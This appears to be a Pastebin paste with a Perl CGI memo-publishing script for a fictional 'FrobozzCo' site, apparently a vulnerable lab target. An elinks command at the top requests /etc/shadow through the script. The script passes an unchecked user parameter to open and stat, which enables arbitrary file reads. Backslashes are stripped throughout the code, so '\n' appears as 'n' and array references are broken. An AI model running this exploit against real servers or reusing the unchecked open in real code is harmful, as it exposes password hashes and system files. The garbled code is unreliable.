Advertisement
Guest User

Untitled

a guest
Apr 23rd, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.68 KB | None | 0 0
  1. elinks -dump http://localhost/cgi-bin/memo.cgi?method=post&action=#get/etc/shadow# > shadow.txt
  2.  
  3. use CGI qw(:standard);
  4. use CGI::Carp qw(fatalsToBrowser);
  5. use strict;
  6.  
  7. my %labels; # global of pretty labels for memo pathnames
  8.  
  9. # glob through the homedirs for an array of paths to memos sorted by date
  10. sub list_memo_selector {
  11. my @memos = </home/*/memo/*>; # all regular users
  12. push (@memos, </root/memo/*>); # special memos from root
  13. foreach (@memos) {
  14. $_ =~ m#^.+/([^/]+)$#; # regex extract filename
  15. my $temp = $1;
  16. $temp =~ s/_/ /g; # convert _ to " "
  17. $labels{$_} = $temp; # assign pretty label name
  18. }
  19. print popup_menu(-name=>'memo',
  20. -values=>@memos,
  21. -labels=>%labels);
  22. print submit("Read memo");
  23.  
  24. }
  25.  
  26. print header();
  27. print "<html><head><title></title></head><body>n";
  28.  
  29. print h1("FrobozzCo Memo Distribution Website");
  30. print h4("Got Memo?");
  31. print hr();
  32.  
  33. print p('Select a memo from the popup menu below and click the "Read memo" button.');
  34. print p("<form method='post' name='main'>n");
  35.  
  36. if (!param('memo')) {
  37. list_memo_selector();
  38. } else { # there is a memo selected
  39. list_memo_selector();
  40. my $memo = param('memo');
  41. my $author = "root";
  42. my @stat = stat $memo;
  43. my $date = localtime $stat[9];
  44. if ($memo =~ m#^/home/([^/]+)/.*$#) {
  45. $author = $1;
  46. }
  47. print "<hr>n";
  48. print "<blockquote>";
  49. print '<table border=1><tr><td>';
  50. print "<center><b>$labels{$memo}</b></center>";
  51. print '</td></tr>';
  52. print "<tr><td>n<p>";
  53. print "<b>Author:</b> $author<br />n";
  54. print "<b>Subject:</b> $labels{$memo}<br />";
  55. print "<b>Date:</b> $date<br />n";
  56. print "n</p></td></tr>n";
  57. print "<tr><td><p>&nbsp;</p>n";
  58. print "<blockquote><p>n";
  59.  
  60. open (MEMO, $memo);
  61.  
  62. foreach (<MEMO>) {
  63. $_ =~ s#n$#</p><p>#; # HTMLize newlines for formatting
  64. print "$_n";
  65. }
  66. print "</p></blockquote>n";
  67. print '<p>&nbsp;</p></td></tr></table>';
  68. print "</blockquote>";
  69. print "<hr>n";
  70. }
  71.  
  72. print h2("To publish a memo:");
  73. print <<TEXT;
  74.  
  75. <ol>
  76. <li>Create a directory named 'memo' in your home directory.</li>
  77. <li>Edit text files in that directory.</li>
  78. <li>Save the file using underscores (_) for spaces, e.g. "free_lunch".</li>
  79. </ol>
  80.  
  81. TEXT
  82.  
  83. print p('To remove your memo from publication, simply delete the file from tme memo directory.');
  84.  
  85. print "</form>n";
  86. print "</body></html>";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement